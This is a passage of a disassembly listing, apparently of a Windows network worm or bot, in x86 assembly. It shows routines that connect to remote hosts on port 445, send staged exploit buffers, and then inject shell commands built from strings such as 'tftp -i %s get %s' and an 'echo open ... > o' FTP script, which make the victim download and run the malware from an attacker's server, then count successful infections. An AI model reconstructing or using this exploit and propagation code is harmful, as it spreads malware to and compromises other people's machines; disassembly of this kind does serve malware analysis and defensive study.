		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_4034C0
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_4034E1


loc_4034C0:				; CODE XREF: sub_4033B6+F0j
		push	esi
		call	sub_415C9B
		push	[ebp+var_8]
		call	sub_415C9B
		pop	ecx
		pop	ecx


loc_4034D0:				; CODE XREF: sub_4033B6+B6j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		jmp	loc_40342F
; ---------------------------------------------------------------------------


loc_4034E1:				; CODE XREF: sub_4033B6+108j
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	dword_421068	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415C9B
		push	esi
		call	sub_415C9B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030B0
		cmp	edi, 1
		pop	ecx
		jnz	loc_403645
		jmp	loc_403634
; ---------------------------------------------------------------------------


loc_403524:				; CODE XREF: sub_4033B6+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412A1D
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403634
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43CAA4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403634
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43CA24	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403166
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035B6
		push	[ebp+var_4]
		jmp	short loc_40362E
; ---------------------------------------------------------------------------


loc_4035B6:				; CODE XREF: sub_4033B6+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035CE


loc_4035CB:				; CODE XREF: sub_4033B6+22Aj
		push	esi
		jmp	short loc_403627
; ---------------------------------------------------------------------------


loc_4035CE:				; CODE XREF: sub_4033B6+213j
		push	ebx
		push	48h
		push	offset dword_425118
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035CB
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40360F
		push	[ebp+var_8]
		jmp	short loc_403627
; ---------------------------------------------------------------------------


loc_40360F:				; CODE XREF: sub_4033B6+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403638


loc_403627:				; CODE XREF: sub_4033B6+216j
					; sub_4033B6+257j
		call	sub_415C9B
		pop	ecx
		push	edi


loc_40362E:				; CODE XREF: sub_4033B6+1FEj
		call	dword_43CABC	; closesocket


loc_403634:				; CODE XREF: sub_4033B6+31j
					; sub_4033B6+80j ...
		xor	eax, eax
		jmp	short loc_4036B1
; ---------------------------------------------------------------------------


loc_403638:				; CODE XREF: sub_4033B6+26Fj
		call	sub_415C9B
		pop	ecx
		push	edi
		call	dword_43CABC	; closesocket


loc_403645:				; CODE XREF: sub_4033B6+163j
		xor	esi, esi


loc_403647:				; CODE XREF: sub_4033B6+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B158
		test	eax, eax
		pop	ecx
		jnz	short loc_40366B
		push	1388h
		call	dword_421060	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_403647
		jmp	short loc_4036AE
; ---------------------------------------------------------------------------


loc_40366B:				; CODE XREF: sub_4033B6+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_403690
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_403690:				; CODE XREF: sub_4033B6+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_4036AE:				; CODE XREF: sub_4033B6+2B3j
		xor	eax, eax
		inc	eax


loc_4036B1:				; CODE XREF: sub_4033B6+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036B6	proc near		; DATA XREF: .text:00423004o
		jmp	$+5
sub_4036B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036BB	proc near
		push	0BB80h
		push	76Ch
		call	sub_413F12
		pop	ecx
		mov	dword_43B65C, eax
		pop	ecx
		retn
sub_4036BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036D2	proc near		; CODE XREF: sub_403833+42Cp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43B65C
		push	eax
		call	dword_43CA24	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43CAA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40380C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40380C
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		mov	esi, offset byte_42C2B4
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43B670
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40380C
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425090
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403810


loc_40380C:				; CODE XREF: sub_4036D2+51j
					; sub_4036D2+67j ...
		xor	al, al
		jmp	short loc_40382E
; ---------------------------------------------------------------------------


loc_403810:				; CODE XREF: sub_4036D2+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		push	ebx
		call	dword_43CABC	; closesocket
		mov	al, 1


loc_40382E:				; CODE XREF: sub_4036D2+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403833	proc near		; CODE XREF: sub_403C74+125p
					; sub_403C74+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415B90
		mov	eax, dword_425110
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_425114
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_425104
		push	eax
		call	sub_415316
		add	esp, 0Ch
		xor	ebx, ebx
		xor	eax, eax


loc_40386C:				; CODE XREF: sub_403833+4Fj
		mov	cl, [ebp+eax+var_3C]
		mov	[ebp+eax*2+var_103], bl
		mov	[ebp+eax*2+var_104], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_40386C
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B58
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415B10
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4153F0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415B10
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415B10
		add	al, 1Ah
		push	1
		add	al, al
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415B10
		add	al, al
		push	1
		add	al, 9
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4153F0
		mov	ax, word ptr dword_43B65C
		add	esp, 2Ch
		push	eax
		call	dword_43CA24	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_425850
		call	sub_4153F0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A31
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F98[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4153F0
		mov	esi, offset loc_4257A0
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250FC
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4153F0
		add	esp, 40h
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4153F0
		add	esp, 10h
		xor	eax, eax


loc_4039E3:				; CODE XREF: sub_403833+1C8j
		mov	cl, [ebp+eax+var_1CC4]
		mov	[ebp+eax*2+var_4803], bl
		mov	[ebp+eax*2+var_4804], cl
		inc	eax
		cmp	eax, edi
		jl	short loc_4039E3
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415390
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415390
		add	esp, 18h
		jmp	short loc_403A88
; ---------------------------------------------------------------------------


loc_403A31:				; CODE XREF: sub_403833+119j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415390
		mov	esi, offset loc_4257A0
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4153F0
		mov	eax, dword_425F98
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403A88:				; CODE XREF: sub_403833+1FCj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415390
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403AC7


loc_403AC0:				; CODE XREF: sub_403833+2BBj
					; sub_403833+2E2j ...
		xor	al, al
		jmp	loc_403C6F
; ---------------------------------------------------------------------------


loc_403AC7:				; CODE XREF: sub_403833+28Bj
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		push	ebx
		push	68h
		push	offset dword_425BC0
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		push	ebx
		push	0A0h
		push	offset dword_425C30
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BDD
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425DF0
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4153F0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E60
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4153F0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425ED8
		push	eax
		call	sub_4153F0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AC0
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C33
; ---------------------------------------------------------------------------


loc_403BDD:				; CODE XREF: sub_403833+2FAj
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425CD8
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4153F0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D58
		push	eax
		call	sub_4153F0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403C33:				; CODE XREF: sub_403833+3A8j
		push	eax
		push	edi
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AC0
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036D2
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403C6F:				; CODE XREF: sub_403833+28Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C74	proc near		; CODE XREF: .text:00402FB3p
					; .text:00403E5Dp ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_413F12
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415390
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_43CA64	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_43CA24	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_43CAA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D7C
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D7C
		push	edi
		push	89h
		push	offset dword_425938
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D7C
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		push	edi
		push	0A8h
		push	offset dword_4259C8
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D7C
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		push	edi
		push	0DEh
		push	offset dword_425A78
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D7C
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D86
		dec	eax
		jz	short loc_403D83


loc_403D7C:				; CODE XREF: sub_403C74+63j
					; sub_403C74+79j ...
		xor	eax, eax
		jmp	loc_403E1C
; ---------------------------------------------------------------------------


loc_403D83:				; CODE XREF: sub_403C74+106j
		push	edi
		jmp	short loc_403DAA
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_403C74+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403833
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DCA
		push	1


loc_403DAA:				; CODE XREF: sub_403C74+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403833
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DD1


loc_403DCA:				; CODE XREF: sub_403C74+132j
		mov	[ebp+var_4], 1


loc_403DD1:				; CODE XREF: sub_403C74+154j
		push	ebx
		call	dword_43CABC	; closesocket
		cmp	[ebp+var_4], 0
		jz	short loc_403E19
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_403E19:				; CODE XREF: sub_403C74+168j
		xor	eax, eax
		inc	eax


loc_403E1C:				; CODE XREF: sub_403C74+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C74	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DD1
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C74
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E72
		test	eax, eax
		jz	short loc_403E75


loc_403E72:				; CODE XREF: .text:00403E6Cj
		xor	eax, eax
		inc	eax


loc_403E75:				; CODE XREF: .text:00403E70j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E79	proc near		; CODE XREF: sub_4040E5+Ep
					; sub_4040E5+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E79	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E83	proc near		; CODE XREF: sub_4040E5+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_415BE9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403EB5
		push	ebx
		push	0
		push	edi
		call	sub_415390
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4153F0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403EB5:				; CODE XREF: sub_403E83+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBD	proc near		; CODE XREF: sub_403FAF+18p
					; sub_404029+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F09
		push	edi
		push	0
		push	esi
		call	sub_415390
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4153F0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4153F0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_403F09:				; CODE XREF: sub_403EBD+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403EBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F12	proc near		; CODE XREF: sub_403FAF+5Ep
					; sub_403FAF+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F22
		push	eax
		call	sub_415C9B
		pop	ecx


loc_403F22:				; CODE XREF: sub_403F12+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F12	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2B	proc near		; CODE XREF: sub_403FAF+20p
					; sub_40408A+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F55
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_415BE9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F59


loc_403F55:				; CODE XREF: sub_403F2B+Dj
		xor	al, al
		jmp	short loc_403FAB
; ---------------------------------------------------------------------------


loc_403F59:				; CODE XREF: sub_403F2B+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_415390
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F79
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_403F8E
; ---------------------------------------------------------------------------


loc_403F79:				; CODE XREF: sub_403F2B+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_403F8E:				; CODE XREF: sub_403F2B+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415C9B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403FAB:				; CODE XREF: sub_403F2B+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FAF	proc near		; CODE XREF: sub_4040E5+89p
					; sub_4040E5+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43B668
		call	sub_403EBD
		lea	ecx, [ebp+var_8]
		call	sub_403F2B
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415BE9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403FE9
		xor	al, al
		jmp	short loc_404025
; ---------------------------------------------------------------------------


loc_403FE9:				; CODE XREF: sub_403FAF+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415390
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4153F0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F12
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F12
		mov	al, 1


loc_404025:				; CODE XREF: sub_403FAF+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404029	proc near		; CODE XREF: sub_40405D+14p
					; sub_40407A+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403EBD
		mov	ecx, esi
		call	sub_403F12
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_404029	endp


; =============== S U B	R O U T	I N E =======================================



sub_40405D	proc near		; CODE XREF: sub_4040E5+F0p
					; sub_4040E5+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
